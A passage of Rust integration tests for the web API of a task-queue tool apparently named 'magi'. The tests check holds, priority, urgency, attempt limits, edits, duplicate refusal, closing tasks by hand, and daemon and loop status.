17732            PathBuf::from("/repo/magi"),
17733            Source::Human,
17734        );
17735        queue.put(&mut task).expect("file the task");
17736        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17737
17738        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17739
17740        assert_eq!(res.status, 409);
17741        assert_eq!(
17742            queue.get(&task.id).expect("reload").status,
17743            TaskStatus::Queued,
17744            "the refused hold changed nothing"
17745        );
17746    }
17747
17748    #[tokio::test]
17749    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
17750        let f = Fixture::start().await;
17751        let queue = f.queue();
17752        let mut task = Task::new(
17753            "waiting on the migration".to_owned(),
17754            "Do the thing".to_owned(),
17755            PathBuf::from("/repo/magi"),
17756            Source::Human,
17757        );
17758        queue.put(&mut task).expect("file the task");
17759
17760        let held = f
17761            .post(
17762                &format!("/api/queue/{}/hold", task.id),
17763                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
17764            )
17765            .await;
17766        assert_eq!(held.status, 200, "{}", held.body);
17767        assert_eq!(held.json()["status_str"], "held");
17768        assert_eq!(
17769            held.json()["hold_reason"],
17770            "waiting for 20260101-000000-aaaa to land"
17771        );
17772
17773        let listed = f.get("/api/queue").await.json();
17774        assert_eq!(
17775            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
17776            "the card reads the reason off the same list route"
17777        );
17778
17779        // A hold with no body at all must keep working - most holds have no
17780        // reason to give.
17781        let mut plain = Task::new(
17782            "no reason given".to_owned(),
17783            "Do another thing".to_owned(),
17784            PathBuf::from("/repo/magi"),
17785            Source::Human,
17786        );
17787        queue.put(&mut plain).expect("file the task");
17788        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
17789        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
17790        assert!(held_plain.json()["hold_reason"].is_null());
17791
17792        let released = f
17793            .post(&format!("/api/queue/{}/release", task.id), None)
17794            .await;
17795        assert_eq!(released.status, 200);
17796        assert!(
17797            released.json()["hold_reason"].is_null(),
17798            "a release must clear the reason so the next hold does not inherit it"
17799        );
17800    }
17801
17802    #[test]
17803    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
17804        for urgent in [true, false] {
17805            let body: UrgentBody =
17806                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
17807            assert_eq!(body.urgent, urgent);
17808        }
17809        for input in [
17810            r#"{}"#,
17811            r#"{"urgent":null}"#,
17812            r#"{"urgent":"true"}"#,
17813            r#"{"urgent":1}"#,
17814            r#"{"urgent":true,"extra":false}"#,
17815        ] {
17816            assert!(
17817                serde_json::from_str::<UrgentBody>(input).is_err(),
17818                "{input}"
17819            );
17820        }
17821    }
17822
17823    #[tokio::test]
17824    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
17825        let home = TempDir::new().unwrap();
17826        let q = Queue::at(home.path().join("queue"));
17827        let ui = Arc::new(Ui::new(
17828            q.clone(),
17829            Questions::at(home.path().join("questions")),
17830            Talks::at(home.path().join("talks")),
17831            home.path().join("runs"),
17832            home.path().into(),
17833            home.path().into(),
17834        ));
17835        let mut task = Task::new(
17836            "urgent handler".into(),
17837            "keep".into(),
17838            home.path().into(),
17839            Source::Human,
17840        );
17841        for status in [TaskStatus::Queued, TaskStatus::Held] {
17842            task.status = status;
17843            q.put(&mut task).unwrap();
17844            for urgent in [true, true, false, false] {
17845                let saved = queue_urgent(
17846                    State(Arc::clone(&ui)),
17847                    Path(task.short().into()),
17848                    Ok(Json(UrgentBody { urgent })),
17849                )
17850                .await
17851                .unwrap();
17852                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
17853                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
17854            }
17855        }
17856        task.status = TaskStatus::Queued;
17857        q.put(&mut task).unwrap();
17858        let claim = q.claim(&task.id).unwrap();
17859        let error = queue_urgent(
17860            State(Arc::clone(&ui)),
17861            Path(task.id.clone()),
17862            Ok(Json(UrgentBody { urgent: true })),
17863        )
17864        .await
17865        .unwrap_err();
17866        assert_eq!(error.status, StatusCode::CONFLICT);
17867        assert!(error.message.contains("released"));
17868        drop(claim);
17869        for status in [
17870            TaskStatus::Running,
17871            TaskStatus::Done,
17872            TaskStatus::Failed,
17873            TaskStatus::Blocked,
17874            TaskStatus::Parked,
17875        ] {
17876            task.status = status;
17877            q.put(&mut task).unwrap();
17878            let error = queue_urgent(
17879                State(Arc::clone(&ui)),
17880                Path(task.id.clone()),
17881                Ok(Json(UrgentBody { urgent: false })),
17882            )
17883            .await
17884            .unwrap_err();
17885            assert_eq!(error.status, StatusCode::BAD_REQUEST);
17886            assert!(error.message.contains(status.as_str()));
17887        }
17888    }
17889
17890    #[tokio::test]
17891    async fn urgent_api_updates_preserves_and_validates_tasks() {
17892        let f = Fixture::start().await;
17893        let q = f.queue();
17894        let mut t = Task::new(
17895            "urgent API".into(),
17896            "unchanged".into(),
17897            PathBuf::from("/repo/magi"),
17898            Source::Human,
17899        );
17900        t.attempts = 2;
17901        t.priority = 9;
17902        t.interrupt = true;
17903        t.hold_reason = Some("waiting for approval".into());
17904        for status in [TaskStatus::Queued, TaskStatus::Held] {
17905            t.status = status;
17906            q.put(&mut t).unwrap();
17907            for urgent in [true, true, false, false] {
17908                let response = f
17909                    .post(
17910                        &format!("/api/queue/{}/urgent", t.short()),
17911                        Some(&format!("{{\"urgent\":{urgent}}}")),
17912                    )
17913                    .await;
17914                assert_eq!(response.status, 200, "{}", response.body);
17915                assert_eq!(response.json()["urgent"], urgent);
17916                let saved = q.get(&t.id).unwrap();
17917                let mut before = serde_json::to_value(&t).unwrap();
17918                let mut after = serde_json::to_value(saved).unwrap();
17919                before["urgent"] = urgent.into();
17920                before.as_object_mut().unwrap().remove("updated_at");
17921                after.as_object_mut().unwrap().remove("updated_at");
17922                assert_eq!(after, before);
17923            }
17924        }
17925        let route = format!("/api/queue/{}/urgent", t.id);
17926        for body in [
17927            r#"{}"#,
17928            r#"{"urgent":null}"#,
17929            r#"{"urgent":"true"}"#,
17930            r#"{"urgent":1}"#,
17931            r#"{"urgent":true,"extra":false}"#,
17932            "{",
17933        ] {
17934            assert_eq!(f.post(&route, Some(body)).await.status, 400);
17935        }
17936        t.status = TaskStatus::Queued;
17937        q.put(&mut t).unwrap();
17938        let claim = q.claim(&t.id).unwrap();
17939        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
17940        assert_eq!(response.status, 409, "{}", response.body);
17941        assert!(!q.get(&t.id).unwrap().urgent);
17942        drop(claim);
17943        for status in [
17944            TaskStatus::Running,
17945            TaskStatus::Done,
17946            TaskStatus::Failed,
17947            TaskStatus::Blocked,
17948            TaskStatus::Parked,
17949        ] {
17950            t.status = status;
17951            q.put(&mut t).unwrap();
17952            for urgent in [true, false] {
17953                let response = f
17954                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
17955                    .await;
17956                assert_eq!(response.status, 400, "{}", response.body);
17957                assert!(response.body.contains(status.as_str()));
17958                assert!(response.body.contains("queued or held"));
17959                assert!(!q.get(&t.id).unwrap().urgent);
17960            }
17961        }
17962        assert_eq!(
17963            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
17964                .await
17965                .status,
17966            404
17967        );
17968    }
17969
17970    #[tokio::test]
17971    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
17972        let f = Fixture::start().await;
17973        let queue = f.queue();
17974        let mut older = Task::new(
17975            "filed first".to_owned(),
17976            "x".to_owned(),
17977            PathBuf::from("/repo/magi"),
17978            Source::Human,
17979        );
17980        older.id = "20260101-000001-aaaa".to_owned();
17981        let mut newer = Task::new(
17982            "filed second".to_owned(),
17983            "x".to_owned(),
17984            PathBuf::from("/repo/magi"),
17985            Source::Human,
17986        );
17987        newer.id = "20260101-000002-bbbb".to_owned();
17988        queue.put(&mut older).expect("file older");
17989        queue.put(&mut newer).expect("file newer");
17990
17991        // Equal priority: the newer task leads, the same order the old
17992        // newest-first `list()` already gave every equal-priority queue.
17993        let before = f.get("/api/queue").await.json();
17994        assert_eq!(before[0]["id"], newer.id);
17995        assert_eq!(before[1]["id"], older.id);
17996
17997        // Raising the *older* task is the meaningful case: it can only lead
17998        // now because its priority says so, not because it happens to be
17999        // newest.
18000        let raised = f
18001            .post(
18002                &format!("/api/queue/{}/priority", older.id),
18003                Some(r#"{"priority":10}"#),
18004            )
18005            .await;
18006        assert_eq!(raised.status, 200, "{}", raised.body);
18007        assert_eq!(raised.json()["priority"], 10);
18008
18009        let after = f.get("/api/queue").await.json();
18010        let names: Vec<&str> = after
18011            .as_array()
18012            .unwrap()
18013            .iter()
18014            .map(|t| t["id"].as_str().unwrap())
18015            .collect();
18016        // Highest priority first, which is the order next_runnable and
18017        // `magi task list` both use - GET /api/queue must agree with it
18018        // immediately, not just once the loop claims the task.
18019        assert_eq!(names[0], older.id, "the raised task now sorts first");
18020    }
18021
18022    #[tokio::test]
18023    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
18024        let dir = TempDir::new().unwrap();
18025        let q = Queue::at(dir.path().join("queue"));
18026        let ui = Arc::new(Ui::new(
18027            q.clone(),
18028            Questions::at(dir.path().join("questions")),
18029            Talks::at(dir.path().join("talks")),
18030            dir.path().join("runs"),
18031            dir.path().to_path_buf(),
18032            dir.path().to_path_buf(),
18033        ));
18034        let mut t = Task::new(
18035            "budget".into(),
18036            "keep".into(),
18037            dir.path().into(),
18038            Source::Human,
18039        );
18040        t.attempts = 2;
18041        t.runs.push("prior-run".into());
18042        t.hold_manual(Some("waiting".into()));
18043        q.put(&mut t).unwrap();
18044        let change = |value| {
18045            queue_attempt_limit(
18046                State(ui.clone()),
18047                Path(t.id.clone()),
18048                Ok(Json(AttemptLimitBody {
18049                    attempt_limit: value,
18050                })),
18051            )
18052        };
18053        for value in [
18054            serde_json::json!(3),
18055            serde_json::Value::Null,
18056            serde_json::json!(1),
18057        ] {
18058            let response = change(value.clone()).await.unwrap();
18059            assert_eq!(
18060                serde_json::to_value(response.0).unwrap()["attempt_limit"],
18061                value
18062            );
18063            let saved = q.get(&t.id).unwrap();
18064            assert_eq!(
18065                serde_json::to_value(&saved).unwrap()["attempt_limit"],
18066                value
18067            );
18068            assert_eq!(saved.status, TaskStatus::Held);
18069            assert_eq!(saved.attempts, t.attempts);
18070            assert_eq!(saved.runs, t.runs);
18071            assert_eq!(saved.hold_reason, t.hold_reason);
18072            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
18073                .await
18074                .unwrap()
18075                .0;
18076            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
18077            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
18078            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
18079            assert_eq!(outcome.max_attempts, detail.max_attempts);
18080        }
18081        for value in [
18082            serde_json::json!(0),
18083            serde_json::json!(-1),
18084            serde_json::json!(1.5),
18085            serde_json::json!("3"),
18086            serde_json::json!(true),
18087        ] {
18088            assert_eq!(
18089                change(value).await.err().unwrap().status,
18090                StatusCode::BAD_REQUEST
18091            );
18092        }
18093        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
18094        let claim = q.claim(&t.id).unwrap();
18095        assert_eq!(
18096            change(serde_json::json!(4)).await.err().unwrap().status,
18097            StatusCode::CONFLICT
18098        );
18099        drop(claim);
18100        for status in [
18101            TaskStatus::Running,
18102            TaskStatus::Done,
18103            TaskStatus::Failed,
18104            TaskStatus::Blocked,
18105            TaskStatus::Parked,
18106        ] {
18107            let mut stored = q.get(&t.id).unwrap();
18108            stored.status = status;
18109            q.put(&mut stored).unwrap();
18110            assert_eq!(
18111                change(serde_json::json!(4)).await.err().unwrap().status,
18112                StatusCode::BAD_REQUEST
18113            );
18114            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
18115        }
18116        let mut stored = q.get(&t.id).unwrap();
18117        stored.status = TaskStatus::Queued;
18118        q.put(&mut stored).unwrap();
18119        let _ = change(serde_json::Value::Null).await.unwrap();
18120        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
18121    }
18122
18123    #[tokio::test]
18124    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
18125        let dir = TempDir::new().unwrap();
18126        let repo = dir.path().join("repo");
18127        std::fs::create_dir(&repo).unwrap();
18128        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
18129        let q = Queue::at(dir.path().join("queue"));
18130        let ui = Arc::new(Ui::new(
18131            q.clone(),
18132            Questions::at(dir.path().join("questions")),
18133            Talks::at(dir.path().join("talks")),
18134            dir.path().join("runs"),
18135            dir.path().to_path_buf(),
18136            repo.clone(),
18137        ));
18138        let mut t = Task::new(
18139            "seats".into(),
18140            "keep instruction".into(),
18141            repo,
18142            Source::Human,
18143        );
18144        t.runs.push("prior-run".into());
18145        t.hold_manual(Some("waiting".into()));
18146        q.put(&mut t).unwrap();
18147        let change = |count| {
18148            queue_implementers(
18149                State(ui.clone()),
18150                Path(t.id.clone()),
18151                Ok(Json(ImplementersBody {
18152                    implementers: count,
18153                })),
18154            )
18155        };
18156        for count in [2, 1, 2] {
18157            let response = change(count).await.unwrap();
18158            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
18159            let saved = q.get(&t.id).unwrap();
18160            assert_eq!(saved.implementers(), Some(usize::from(count)));
18161            assert_eq!(saved.runs, t.runs);
18162            assert_eq!(saved.instruction, t.instruction);
18163        }
18164        for count in [0, 4] {
18165            assert_eq!(
18166                change(count).await.err().unwrap().status,
18167                StatusCode::BAD_REQUEST
18168            );
18169        }
18170        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
18171        let claim = q.claim(&t.id).unwrap();
18172        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
18173        drop(claim);
18174        for status in [
18175            TaskStatus::Running,
18176            TaskStatus::Done,
18177            TaskStatus::Failed,
18178            TaskStatus::Blocked,
18179            TaskStatus::Parked,
18180        ] {
18181            let mut stored = q.get(&t.id).unwrap();
18182            stored.status = status;
18183            q.put(&mut stored).unwrap();
18184            assert_eq!(
18185                change(1).await.err().unwrap().status,
18186                StatusCode::BAD_REQUEST
18187            );
18188            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
18189        }
18190    }
18191
18192    #[tokio::test]
18193    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
18194        let f = Fixture::start().await;
18195        let queue = f.queue();
18196        let mut task = Task::new(
18197            "in flight".to_owned(),
18198            "x".to_owned(),
18199            PathBuf::from("/repo/magi"),
18200            Source::Human,
18201        );
18202        task.start("20260902-140502-bbbb".to_owned());
18203        queue.put(&mut task).expect("file the task");
18204
18205        let res = f
18206            .post(
18207                &format!("/api/queue/{}/priority", task.id),
18208                Some(r#"{"priority":9}"#),
18209            )
18210            .await;
18211        assert_eq!(res.status, 400, "{}", res.body);
18212        assert!(
18213            res.json()["error"]
18214                .as_str()
18215                .is_some_and(|e| e.contains("running")),
18216            "{}",
18217            res.body
18218        );
18219        assert_eq!(
18220            queue.get(&task.id).expect("reload").priority,
18221            0,
18222            "the refused write must not partially apply"
18223        );
18224    }
18225
18226    #[tokio::test]
18227    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
18228        let f = Fixture::start().await;
18229        let queue = f.queue();
18230        let mut task = Task::new(
18231            "old title".to_owned(),
18232            "old instruction".to_owned(),
18233            PathBuf::from("/repo/magi"),
18234            Source::Agent {
18235                run: "20260101-000000-beef".to_owned(),
18236                node: "implement".to_owned(),
18237            },
18238        );
18239        task.runs.push("20260101-000000-beef".to_owned());
18240        queue.put(&mut task).expect("file the task");
18241        let created_at = task.created_at;
18242
18243        let edited = f
18244            .post(
18245                &format!("/api/queue/{}/edit", task.id),
18246                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
18247            )
18248            .await;
18249        assert_eq!(edited.status, 200, "{}", edited.body);
18250        let body = edited.json();
18251        assert_eq!(body["title"], "new title");
18252        assert_eq!(body["instruction"], "new instruction");
18253        assert_eq!(body["id"], task.id, "editing must not mint a new id");
18254        assert_eq!(body["created_at"], created_at.to_string());
18255        assert_eq!(
18256            body["source"]["kind"], "agent",
18257            "editing a task an agent filed must not turn it human: {body}"
18258        );
18259        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
18260
18261        let reloaded = queue.get(&task.id).expect("reload");
18262        assert_eq!(reloaded.title, "new title");
18263        assert_eq!(reloaded.instruction, "new instruction");
18264    }
18265
18266    #[tokio::test]
18267    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
18268        // The judge is an agent now: a repo whose only agent answers
18269        // "duplicate" stands in for it, so the refusal is the judge's.
18270        let tmp = TempDir::new().expect("tempdir");
18271        let repo = tmp.path().join("repo");
18272        std::fs::create_dir_all(&repo).expect("repo dir");
18273        let judge = MOCK_AGENT_TOML.replace(
18274            "printf ok",
18275            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
18276        );
18277        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
18278        let f = Fixture::with_repo(repo.clone()).await;
18279        let queue = f.queue();
18280        let mut owner = Task::new(
18281            "owner".to_owned(),
18282            "review it".to_owned(),
18283            repo.clone(),
18284            Source::Human,
18285        );
18286        owner.review_branch = Some("magi/ab12/A".to_owned());
18287        queue.put(&mut owner).expect("file the owner");
18288        let mut task = Task::new(
18289            "draft".to_owned(),
18290            "old".to_owned(),
18291            repo.clone(),
18292            Source::Human,
18293        );
18294        queue.put(&mut task).expect("file the draft");
18295        let url = format!("/api/queue/{}/edit", task.id);
18296
18297        let refused = f
18298            .post(
18299                &url,
18300                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
18301            )
18302            .await;
18303        assert_eq!(refused.status, 409, "{}", refused.body);
18304        let msg = refused.json()["error"]
18305            .as_str()
18306            .unwrap_or_default()
18307            .to_owned();
18308        assert!(
18309            msg.contains("magi/ab12/A") && msg.contains("force"),
18310            "{msg}"
18311        );
18312        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
18313
18314        let forced = f
18315            .post(
18316                &url,
18317                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
18318            )
18319            .await;
18320        assert_eq!(forced.status, 200, "{}", forced.body);
18321    }
18322
18323    #[tokio::test]
18324    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
18325        let f = Fixture::start().await;
18326        let queue = f.queue();
18327        let mut task = Task::new(
18328            "in flight".to_owned(),
18329            "do not touch".to_owned(),
18330            PathBuf::from("/repo/magi"),
18331            Source::Human,
18332        );
18333        task.start("20260902-140502-bbbb".to_owned());
18334        queue.put(&mut task).expect("file the task");
18335
18336        let res = f
18337            .post(
18338                &format!("/api/queue/{}/edit", task.id),
18339                Some(r#"{"title":"x","instruction":"y"}"#),
18340            )
18341            .await;
18342        assert_eq!(res.status, 400, "{}", res.body);
18343        assert!(
18344            res.json()["error"]
18345                .as_str()
18346                .is_some_and(|e| e.contains("running")),
18347            "{}",
18348            res.body
18349        );
18350        assert_eq!(
18351            queue.get(&task.id).expect("reload").instruction,
18352            "do not touch",
18353            "the refused edit must not change the file"
18354        );
18355    }
18356
18357    #[tokio::test]
18358    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
18359        let f = Fixture::start().await;
18360        let queue = f.queue();
18361        let mut task = Task::new(
18362            "busy".to_owned(),
18363            "Running right now".to_owned(),
18364            PathBuf::from("/repo/magi"),
18365            Source::Human,
18366        );
18367        queue.put(&mut task).expect("file the task");
18368        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
18369
18370        let priority = f
18371            .post(
18372                &format!("/api/queue/{}/priority", task.id),
18373                Some(r#"{"priority":9}"#),
18374            )
18375            .await;
18376        assert_eq!(priority.status, 409, "{}", priority.body);
18377
18378        let edit = f
18379            .post(
18380                &format!("/api/queue/{}/edit", task.id),
18381                Some(r#"{"title":"x","instruction":"y"}"#),
18382            )
18383            .await;
18384        assert_eq!(edit.status, 409, "{}", edit.body);
18385    }
18386
18387    #[tokio::test]
18388    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
18389        let f = Fixture::start().await;
18390        let queue = f.queue();
18391        let mut task = Task::new(
18392            "shipped by hand".to_owned(),
18393            "merged outside the loop".to_owned(),
18394            PathBuf::from("/repo/magi"),
18395            Source::Agent {
18396                run: "20260101-000000-b455".to_owned(),
18397                node: "implement".to_owned(),
18398            },
18399        );
18400        task.runs.push("20260101-000000-b455".to_owned());
18401        task.runs.push("20260101-000000-9af4".to_owned());
18402        queue.put(&mut task).expect("file the task");
18403        let created_at = task.created_at;
18404
18405        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18406        assert_eq!(done.status, 200, "{}", done.body);
18407        assert_eq!(done.json()["status_str"], "done");
18408
18409        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
18410        assert_eq!(
18411            reloaded.runs,
18412            ["20260101-000000-b455", "20260101-000000-9af4"]
18413        );
18414        assert_eq!(
18415            reloaded.source,
18416            Source::Agent {
18417                run: "20260101-000000-b455".to_owned(),
18418                node: "implement".to_owned(),
18419            }
18420        );
18421        assert_eq!(reloaded.created_at, created_at);
18422    }
18423
18424    #[tokio::test]
18425    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
18426        // `done` is allowed on any status, including `held`, with no release
18427        // in between - so a task held for a reason and then closed directly
18428        // must not keep reading as "waiting on" it afterwards, on its card or
18429        // in `magi task show`.
18430        let f = Fixture::start().await;
18431        let queue = f.queue();
18432        let mut task = Task::new(
18433            "landed while held".to_owned(),
18434            "x".to_owned(),
18435            PathBuf::from("/repo/magi"),
18436            Source::Human,
18437        );
18438        task.hold_manual(Some("waiting on 3ed9".to_owned()));
18439        queue.put(&mut task).expect("file the held task");
18440
18441        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18442        assert_eq!(done.status, 200, "{}", done.body);
18443        assert_eq!(done.json()["status_str"], "done");
18444        assert!(
18445            done.json()["hold_reason"].is_null(),
18446            "a done task cannot still be waiting on something: {}",
18447            done.body
18448        );
18449    }
18450
18451    #[tokio::test]
18452    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
18453        // `queue_done` is the phone's way to close a task the loop never
18454        // settled itself - after confirming a manual GitHub merge, say - and
18455        // that is just as much "this task's story is over" as the loop's own
18456        // `Merged`/`Ready` path, so it must trigger the same cleanup.
18457        let f = Fixture::start().await;
18458        let queue = f.queue();
18459        let runs = f.runs();
18460        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
18461        // The last attempt has to have actually landed for the earlier one
18462        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
18463        // for the case where it didn't.
18464        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
18465
18466        let mut task = Task::new(
18467            "landed by hand".to_owned(),
18468            "x".to_owned(),
18469            PathBuf::from("/repo/magi"),
18470            Source::Human,
18471        );
18472        task.runs.push("20260101-000000-doa1".to_owned());
18473        task.runs.push("20260101-000000-doa2".to_owned());
18474        queue.put(&mut task).expect("file the task");
18475
18476        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18477        assert_eq!(done.status, 200, "{}", done.body);
18478
18479        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
18480            .expect("run still on disk under this fixture's own home");
18481        assert_eq!(
18482            reloaded_run.status,
18483            RunStatus::Superseded,
18484            "closing the task by hand must relabel the earlier blocked attempt exactly \
18485             like the loop's own settle path does"
18486        );
18487    }
18488
18489    #[tokio::test]
18490    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
18491        // Closing a task by hand is allowed from any status, including one
18492        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
18493        // manual merge the loop never watched, say. Nothing here is provably
18494        // why the task is done, so nothing earlier gets relabelled either.
18495        let f = Fixture::start().await;
18496        let queue = f.queue();
18497        let runs = f.runs();
18498        write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
18499        write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
18500
18501        let mut task = Task::new(
18502            "closed with nothing actually landed".to_owned(),
18503            "x".to_owned(),
18504            PathBuf::from("/repo/magi"),
18505            Source::Human,
18506        );
18507        task.runs.push("20260101-000000-dob1".to_owned());
18508        task.runs.push("20260101-000000-dob2".to_owned());
18509        queue.put(&mut task).expect("file the task");
18510
18511        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18512        assert_eq!(done.status, 200, "{}", done.body);
18513
18514        let reloaded_run = read_run(&runs, "20260101-000000-dob1")
18515            .expect("run still on disk under this fixture's own home");
18516        assert_eq!(
18517            reloaded_run.status,
18518            RunStatus::Blocked,
18519            "the last recorded attempt never landed, so the earlier one must not be \
18520             relabelled as superseded by it"
18521        );
18522    }
18523
18524    #[tokio::test]
18525    async fn unknown_ids_are_json_not_found_on_both_stores() {
18526        let f = Fixture::start().await;
18527
18528        let run = f.get("/api/runs/nosuchrun").await;
18529        let task = f.post("/api/queue/nosuchtask/hold", None).await;
18530
18531        assert_eq!(run.status, 404);
18532        assert_eq!(task.status, 404);
18533        assert!(
18534            run.json()["error"]
18535                .as_str()
18536                .is_some_and(|e| e.contains("run")),
18537            "the error names what was not found: {}",
18538            run.body
18539        );
18540        assert!(
18541            task.json()["error"]
18542                .as_str()
18543                .is_some_and(|e| e.contains("task")),
18544            "the error names what was not found: {}",
18545            task.body
18546        );
18547    }
18548
18549    #[tokio::test]
18550    async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
18551        let f = Fixture::start().await;
18552
18553        let missing = f.get("/api/health").await.json();
18554        assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
18555
18556        write_daemon(
18557            f.home.path(),
18558            Timestamp::now() - jiff::SignedDuration::from_secs(60),
18559        );
18560        let stale = f.get("/api/health").await.json();
18561        assert_eq!(
18562            stale["daemon"]["running"], false,
18563            "a minute without a heartbeat is a dead daemon, not a busy one"
18564        );
18565        assert!(
18566            stale["daemon"]["stale_for_secs"]
18567                .as_i64()
18568                .is_some_and(|s| s >= 55),
18569            "staleness is reported so the UI can say how long: {stale}"
18570        );
18571
18572        write_daemon(f.home.path(), Timestamp::now());
18573        let fresh = f.get("/api/health").await.json();
18574        assert_eq!(fresh["daemon"]["running"], true);
18575        assert_eq!(fresh["daemon"]["idle"], false);
18576        assert_eq!(fresh["daemon"]["pid"], 4242);
18577        assert_eq!(fresh["daemon"]["completed"], 7);
18578        assert_eq!(
18579            fresh["daemon"]["current"][0]["task"],
18580            "20260902-140501-aaaa"
18581        );
18582        assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
18583    }
18584
18585    #[tokio::test]
18586    async fn the_loop_is_not_running_until_something_starts_it() {
18587        let f = Fixture::start().await;
18588
18589        let view = f.get("/api/loop").await.json();
18590        assert_eq!(view["running"], false);
18591        assert_eq!(
18592            view["owned"], false,
18593            "nobody owns a loop that does not exist: {view}"
18594        );
18595        assert_eq!(view["stopping"], false);
18596        assert_eq!(view["last_error"], Value::Null);
18597        assert_eq!(view["daemon"]["running"], false);
18598        assert_eq!(
18599            view["repo"], "/repo/magi",
18600            "the repository a start would use, named before it is started"
18601        );
18602    }
18603
18604    #[tokio::test]
18605    async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
18606        let f = Fixture::start().await;
18607
18608        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18609        assert_eq!(res.status, 200, "{}", res.body);
18610        let view = res.json();
18611        assert_eq!(view["running"], true);
18612        assert_eq!(
18613            view["owned"], true,
18614            "the loop the UI started is the UI's own to stop: {view}"
18615        );
18616        assert_eq!(
18617            view["merge"],
18618            Value::Null,
18619            "no override was given, so each repository's own config decides"
18620        );
18621
18622        // The same object from the route a waking phone polls first. Two
18623        // surfaces disagreeing about whether anything is running is exactly
18624        // the confusion this UI exists to remove.
18625        let health = f.get("/api/health").await.json();
18626        assert_eq!(health["loop"]["running"], true, "{health}");
18627        assert_eq!(health["loop"]["owned"], true, "{health}");
18628
18629        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18630    }
18631
18632    #[tokio::test]
18633    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
18634        let f = Fixture::start().await;
18635        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18636        assert_eq!(first.status, 200, "{}", first.body);
18637
18638        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18639        assert_eq!(
18640            again.status, 409,
18641            "two loops on one queue race for the same claims: {}",
18642            again.body
18643        );
18644        assert!(
18645            again.json()["error"]
18646                .as_str()
18647                .is_some_and(|e| e.contains("already running the loop")),
18648            "the refusal has to say why: {}",
18649            again.body
18650        );
18651        assert_eq!(
18652            f.get("/api/loop").await.json()["running"],
18653            true,
18654            "and the loop that was already running is untouched by it"
18655        );
18656
18657        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18658    }
18659
18660    #[tokio::test]
18661    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
18662        let f = Fixture::start().await;
18663        f.post("/api/loop", Some(r#"{"running":true}"#)).await;
18664
18665        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
18666        assert_eq!(
18667            res.status, 200,
18668            "the answer must not wait for the loop: a run in flight is tens of \
18669             minutes and the operator is holding a phone: {}",
18670            res.body
18671        );
18672
18673        let view = settled(&f, |v| v["running"] == false).await;
18674        assert_eq!(view["owned"], false);
18675        assert_eq!(
18676            view["stopping"], false,
18677            "a loop that has stopped is not still stopping: {view}"
18678        );
